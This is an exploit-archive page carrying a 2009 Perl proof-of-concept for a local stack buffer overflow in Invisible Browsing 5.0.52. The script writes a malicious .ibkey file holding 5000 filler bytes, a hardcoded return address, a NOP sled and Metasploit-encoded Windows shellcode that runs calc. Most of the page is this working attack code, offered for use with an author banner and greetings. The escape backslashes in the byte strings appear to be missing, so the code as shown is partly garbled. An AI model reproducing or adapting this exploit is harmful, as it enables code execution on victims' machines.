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# Title : Invisible Browsing 5.0.52 (.ibkey) Local Buffer Overflow Exploit
# Published : 2009-09-14
# Author : Platen
# Previous Title : Linux Kernel 2.x sock_sendpage() Local Root Exploit #2
# Next Title : Portable E.M Magic Morph 1.95b .MOR File Stack Buffer Overflow PoC 


#!/usr/bin/perl

print qq(
  ############################################################
  ##                Iranian Pentesters Home                 ##
  ##                   Www.Pentesters.Ir                    ##
  ##                  PLATEN -[ H.jafari ]-                 ## 
  ## Invisible Browsing 5.0.52 (.ibkey) Local BoF Exploit   ##
  ## bug found & exploited by:  PLATEN                      ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);
# Note: I just test this version
$junk  ="x41"x 5000;
$ret   = "x93x43x92x7c";
$nop   = "x90" x 50;
# win32_exec - Size=160
#EXITFUNC=seh CMD=calc  
#Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"x31xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x38".
"x78x73x8ax83xebxfcxe2xf4xc4x90x37x8ax38x78xf8xcf".
"x04xf3x0fx8fx40x79x9cx01x77x60xf8xd5x18x79x98xc3".
"xb3x4cxf8x8bxd6x49xb3x13x94xfcxb3xfex3fxb9xb9x87".
"x39xbax98x7ex03x2cx57x8ex4dx9dxf8xd5x1cx79x98xec".
"xb3x74x38x01x67x64x72x61xb3x64xf8x8bxd3xf1x2fxae".
"x3cxbbx42x4ax5cxf3x33xbaxbdxb8x0bx86xb3x38x7fx01".
"x48x64xdex01x50x70x98x83xb3xf8xc3x8ax38x78xf8xe2".
"x04x27x42x7cx58x2exfax72xbbxb8x08xdax50x88xf9x8e".
"x67x10xebx74xb2x76x24x75xdfx1bx12xe6x5bx78x73x8a";
open(fhandle,'>>expl.ibkey');
print fhandle $junk.$ret.$nop.$shellcode;
close(fhandle);
print "n  [+] File created successfully: expl.ibkey n";

# www.Syue.com [2009-09-14]